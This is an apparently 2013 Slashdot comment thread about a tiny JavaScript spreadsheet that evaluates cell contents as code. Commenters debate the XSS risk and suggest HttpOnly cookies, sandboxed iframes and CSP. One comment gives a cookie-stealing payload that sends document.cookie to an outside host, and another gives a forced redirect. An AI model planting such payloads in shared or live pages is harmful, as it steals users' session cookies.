News for hackers. Stuff that matters.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jokeofweek on Wednesday November 13, 2013 @11:07AM (#6726085)
The fact that you can put Javascript code which interacts with the cells is awesome.

For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by nmat on Wednesday November 13, 2013 @11:25AM (#6726248)
You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by genericacct on Wednesday November 13, 2013 @11:40AM (#6726368)
Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression )

What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by araskoktas on Wednesday November 13, 2013 @12:09PM (#6726572)
document.write('<img src="somedomain.com/?'+document.cookie);
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by cosarara97 on Wednesday November 13, 2013 @12:30PM (#6726757)
But you'd need to send a spreadsheet with that to the victim.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by araskoktas on Wednesday November 13, 2013 @01:41PM (#6727350)
Well yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by genericacct on Wednesday November 13, 2013 @12:18PM (#6726643)
have you heard of the HttpOnly attribute for cookies?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by araskoktas on Wednesday November 13, 2013 @01:39PM (#6727329)
good, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by genericacct on Wednesday November 13, 2013 @02:21PM (#6727688)
I most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by just2n on Wednesday November 13, 2013 @02:41PM (#6727870)
Put it in a sandboxed iframe, serve it from a separate domain, and use a very restrictive CSP?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ubersoldat2k7 on Wednesday November 13, 2013 @11:53AM (#6726464)
Yeah! Better replace it with VB and you've got no security probl... oh wait!